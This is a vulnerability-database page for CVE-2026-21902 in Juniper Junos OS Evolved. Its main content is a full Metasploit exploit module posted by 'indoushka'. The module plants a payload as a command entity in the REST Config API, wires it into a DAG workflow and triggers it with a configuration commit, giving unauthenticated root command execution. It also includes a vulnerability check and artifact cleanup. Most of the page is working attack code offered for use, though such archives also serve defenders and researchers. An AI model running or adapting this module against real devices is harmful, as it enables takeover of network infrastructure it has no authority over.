| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for CVE-2026-21902 | 28 Feb 202610:43 | – | githubexploit | |
| CVE-2026-21902 | 25 Feb 202616:59 | – | attackerkb | |
| CVE-2026-21902 | 25 Feb 202618:25 | – | circl | |
| Juniper Networks Junos OS Evolved 安全漏洞 | 25 Feb 202600:00 | – | cnnvd | |
| CVE-2026-21902 | 25 Feb 202616:59 | – | cve | |
| CVE-2026-21902 Junos OS Evolved: PTX Series: A vulnerability allows a unauthenticated, network-based attacker to execute code as root | 25 Feb 202616:59 | – | cvelist | |
| EUVD-2026-8693 | 25 Feb 202618:31 | – | euvd | |
| Vulnerability fixed in Juniper Junos OS Evolved | 27 Feb 202609:48 | – | ncsc | |
| CVE-2026-21902 | 25 Feb 202618:23 | – | nvd | |
| PT-2026-21964 | 25 Feb 202600:00 | – | ptsecurity |
=============================================================================================================================================
| # Title : JunosEvolved via Config API Unauthenticated Remote Command Execution in Juniper |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.juniper.net/fr/fr/products/network-operating-system/junos-evolved.html |
=============================================================================================================================================
[+] Summary : A critical unauthenticated remote command execution (RCE) vulnerability exists in the Config API of Juniper JunosEvolved.
The flaw allows remote attackers to inject arbitrary system commands without authentication by abusing the /config/command endpoint and the configuration commit workflow.
The vulnerability can be exploited by:
Creating a malicious command entity via the REST API
Linking the command to a DAG workflow
Instantiating the workflow
Triggering a configuration commit
Upon commit, the injected command is executed on the underlying system, resulting in full remote command execution with elevated privileges.
This issue affects Junos OS Evolved on PTX Series devices, specifically:
25.4 versions before 25.4R1-S1-EVO
25.4R2-EVO
Systems running these affected versions are vulnerable if the management interface is exposed.
The issue requires no authentication and can be exploited over HTTPS (default port 8160). Successful exploitation may lead to complete device compromise, configuration manipulation, service disruption, or persistent backdoor deployment.
The provided module in the Metasploit Framework demonstrates reliable exploitation while implementing:
Non-destructive vulnerability probing
Dynamic execution timing synchronization
Strict post-exploitation cleanup of configuration artifacts
Due to the nature of the vulnerability (configuration-level command execution), impact severity is critical for exposed management interfaces.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Juniper JunosEvolved Unauthenticated RCE (CVE-2026-21902)',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in the
Juniper JunosEvolved API. The exploit workflow involves creating a custom command
entity, mapping it to a Directed Acyclic Graph (DAG), and triggering an execution
instance. The module uses a non-destructive POST probe to verify write access
and handles configuration commits with dynamic synchronization delays.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2026-21902']],
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 4096,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd' }
},
'Targets' => [['JunosEvolved Generic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-15',
'DefaultOptions' => { 'SSL' => true },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_MODIFICATIONS]
}
)
)
register_options([
Opt::RPORT(8160),
OptString.new('TARGET_PLATFORM', [true, 'Target model (e.g., PTX10001-36MR)', 'PTX10001-36MR']),
OptInt.new('WTIMEOUT', [true, 'HTTP commit response timeout (Min 5)', 30])
])
end
def check
res = send_request_cgi({ 'method' => 'GET', 'uri' => '/config/command' })
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200
json = res.get_json_document rescue nil
return Exploit::CheckCode::Safe if json.nil?
detected = false
if json.is_a?(Array)
detected = json.any? { |e| e.is_a?(Hash) && e.key?('syntax') }
elsif json.is_a?(Hash)
detected = json.key?('syntax') && json.key?('type')
end
return Exploit::CheckCode::Safe unless detected
probe_name = "msf_probe_#{Rex::Text.rand_text_alpha(6)}"
test_probe = send_request_json('POST', "/config/command/#{probe_name}", {
'syntax' => '',
'type' => 'INVALID'
})
if test_probe && test_probe.code == 400
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Detected
rescue ::Rex::ConnectionError
Exploit::CheckCode::Unknown
end
def exploit
wtimeout = datastore['WTIMEOUT']
fail_with(Failure::BadConfig, 'WTIMEOUT must be >= 5') if wtimeout < 5
@entities = {
cmd: "config_cmd_#{Rex::Text.rand_text_alpha(12).downcase}",
dag: "dag_workflow_#{Rex::Text.rand_text_alpha(12).downcase}",
inst: "inst_exec_#{Rex::Text.rand_text_alpha(12).downcase}"
}
action_name = "action_#{Rex::Text.rand_text_alpha(8).downcase}"
print_status("Creating command entity [#{@entities[:cmd]}]")
res = send_request_json('POST', "/config/command/#{@entities[:cmd]}", {
'syntax' => payload.encoded,
'type' => 'RE-SHELL',
'parsing' => {},
'outputs' => { 'result' => { 'type' => 'str' } }
})
fail_with(Failure::UnexpectedReply, 'Command creation failed') unless verify_success(res)
print_status("Creating DAG entity [#{@entities[:dag]}]")
res = send_request_json('POST', "/config/dag/#{@entities[:dag]}", {
'start' => [action_name],
'actions' => { action_name => { 'command' => @entities[:cmd], 'inputs' => {} } }
})
fail_with(Failure::UnexpectedReply, 'DAG creation failed') unless verify_success(res)
# Dynamic delay calculation with safe boundaries
dynamic_delay = (wtimeout / 2.0).ceil
dynamic_delay = 5 if dynamic_delay < 5
dynamic_delay = wtimeout if dynamic_delay > wtimeout
print_status("Triggering instance [#{@entities[:inst]}] (Delay: #{dynamic_delay}s)")
res = send_request_json('POST', "/config/dag-instance/#{@entities[:inst]}", {
'dag' => @entities[:dag],
'enabled' => true,
'platform' => datastore['TARGET_PLATFORM'],
'schedule' => { 'delay' => dynamic_delay }
})
fail_with(Failure::UnexpectedReply, 'Instance creation failed') unless verify_success(res)
print_status("Committing configuration (WTIMEOUT: #{wtimeout}s)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => '/config/commit',
'timeout' => wtimeout
})
if res.nil? || res.code == 200
print_good("Commit accepted. Waiting #{dynamic_delay}s for payload execution...")
Rex.sleep(dynamic_delay)
handler
else
fail_with(Failure::UnexpectedReply, "Commit failed with code #{res&.code}. Aborting.")
end
end
def send_request_json(method, uri, data)
send_request_cgi({
'method' => method,
'uri' => uri,
'ctype' => 'application/json',
'data' => data.to_json
})
end
def verify_success(res)
return false unless res && res.code.between?(200, 299)
return true if res.code == 204 && res.body.to_s.empty?
return true if res.code == 201
if res.body && !res.body.empty?
json = res.get_json_document rescue nil
if json.is__a?(Hash)
status = json['status'].to_s.downcase
return true if json['success'] == true
return true if %w[ok success done completed created].include?(status)
return false if json.key?('error') || json['success'] == false
end
return false if res.body =~ /error|failed|exception/i
end
false
end
def cleanup
return unless defined?(@entities) && @entities.is_a?(Hash)
print_status("Cleanup: Removing configuration artifacts...")
[:inst, :dag, :cmd].each do |type|
next unless @entities[type]
uri_part = (type == :inst) ? 'dag-instance' : type.to_s
res = send_request_cgi({
'method' => 'DELETE',
'uri' => "/config/#{uri_part}/#{@entities[type]}"
})
unless res && res.code.between?(200, 299)
print_warning("Failed to delete #{type}: #{res&.code || 'No response'}")
end
end
res = send_request_cgi({ 'method' => 'POST', 'uri' => '/config/commit', 'timeout' => 20 })
if res && res.code.between?(200, 299)
print_good("Cleanup commit successful.")
else
print_warning("Cleanup commit failed. Manual artifact removal recommended.")
end
super
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation